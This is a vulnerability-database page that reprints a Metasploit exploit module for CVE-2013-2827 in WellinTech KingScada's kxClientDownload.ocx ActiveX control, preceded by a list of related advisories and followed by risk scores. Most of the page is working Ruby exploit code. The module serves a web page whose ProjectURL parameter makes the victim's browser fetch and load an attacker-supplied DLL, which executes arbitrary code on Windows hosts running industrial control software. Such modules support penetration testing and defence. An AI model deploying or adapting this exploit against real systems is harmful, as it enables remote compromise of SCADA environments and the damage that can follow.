KingScada - kxClientDownload.ocx ActiveX Remote Code Execution (Metasploit)

🗓️ 11 Feb 2014 00:00:00Reported by MetasploitType

KingScada kxClientDownload.ocx ActiveX Remote Code Executio

Reporter	Title	Published	Views	Family All 13
0day.today	KingScada kxClientDownload.ocx ActiveX Remote Code Execution	11 Feb 201400:00	–	zdt
Circl	CVE-2013-2827	11 Feb 201400:00	–	circl
Check Point Advisories	WellinTech Multiple Products kxClientDownload ActiveX Remote Code Execution (CVE-2013-2827)	13 Mar 201400:00	–	checkpoint_advisories
CVE	CVE-2013-2827	15 Jan 201416:00	–	cve
Cvelist	CVE-2013-2827	15 Jan 201416:00	–	cvelist
ICS	WellinTech Vulnerabilities	12 Sep 201306:00	–	ics
Metasploit	KingScada kxClientDownload.ocx ActiveX Remote Code Execution	7 Feb 201400:25	–	metasploit
NVD	CVE-2013-2827	15 Jan 201416:08	–	nvd
Packet Storm	KingScada kxClientDownload.ocx ActiveX Remote Code Execution	11 Feb 201400:00	–	packetstorm
Prion	Code injection	15 Jan 201416:08	–	prion

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'KingScada kxClientDownload.ocx ActiveX Remote Code Execution',
      'Description'    => %q{
        This module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada.
        The ProjectURL property can be abused to download and load arbitrary DLLs from
        arbitrary locations, leading to arbitrary code execution, because of a dangerous
        usage of LoadLibrary. Due to the nature of the vulnerability, this module will work
        only when Protected Mode is not present or not enabled.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Andrea Micalizzi',  # aka rgod original discovery
          'juan vazquez'       # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2013-2827'],
          ['OSVDB', '102135'],
          ['BID', '64941'],
          ['ZDI', '14-011'],
          ['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-344-01']
        ],
      'DefaultOptions' =>
        {
          'InitialAutoRunScript' => 'migrate -f',
        },
      'BrowserRequirements' =>
        {
          :source      => /script|headers/i,
          :os_name     => Msf::OperatingSystems::WINDOWS,
          :ua_name     => /MSIE|KXCLIE/i
        },
      'Payload'        =>
        {
          'Space'           => 2048,
          'StackAdjustment' => -3500,
          'DisableNopes'    => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 14 2014'))
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Requested: #{request.uri}")

    if request.uri =~ /\/libs\/.*\.dll/
      print_good("Sending DLL payload")
      send_response(cli,
        generate_payload_dll(:code => get_payload(cli, target_info)),
        'Content-Type' => 'application/octet-stream'
      )
      return
    elsif request.uri =~ /\/libs\//
      print_status("Sending not found")
      send_not_found(cli)
      return
    end

    content = <<-EOS
<html>
<body>
<object classid='clsid:1A90B808-6EEF-40FF-A94C-D7C43C847A9F' id='#{rand_text_alpha(10 + rand(10))}'>
<param name="ProjectURL" value="#{get_module_uri}"></param>
</object>
</body>
</html>
    EOS

    print_status("Sending #{self.name}")
    send_response_html(cli, content)
  end

end

11 Feb 2014 00:00Current

7High risk

Vulners AI Score7

CVSS 27.5

EPSS0.60519